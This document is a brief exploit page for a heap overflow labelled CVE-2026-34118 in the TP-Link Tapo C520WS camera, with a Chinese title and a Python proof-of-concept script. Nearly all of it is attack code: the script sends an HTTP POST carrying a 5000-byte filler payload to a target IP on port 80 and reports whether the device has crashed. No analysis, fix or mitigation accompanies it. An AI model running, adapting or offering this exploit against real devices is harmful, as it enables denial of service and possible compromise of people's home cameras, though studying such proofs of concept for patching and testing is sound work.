CVE-2026-34118 TP-Link Tapo C520WS 堆溢出漏洞

import socket # Target IP and Port (Adjust based on your environment) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 # Craft a large payload to trigger the heap-based buffer overflow # The size depends on the specific buffer allocation logic (e.g., 4096 + overflow) payload = b"A" * 5000 # Construct malicious HTTP POST request request = ( b"POST / HTTP/1.1\r\n" b"Host: " + TARGET_IP.encode() + b"\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Content-Length: " + str(len(payload)).encode() + b"\r\n" b"Connection: close\r\n" b"\r\n" + payload ) def send_exploit(): try: print(f"[*] Sending exploit payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the device has crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()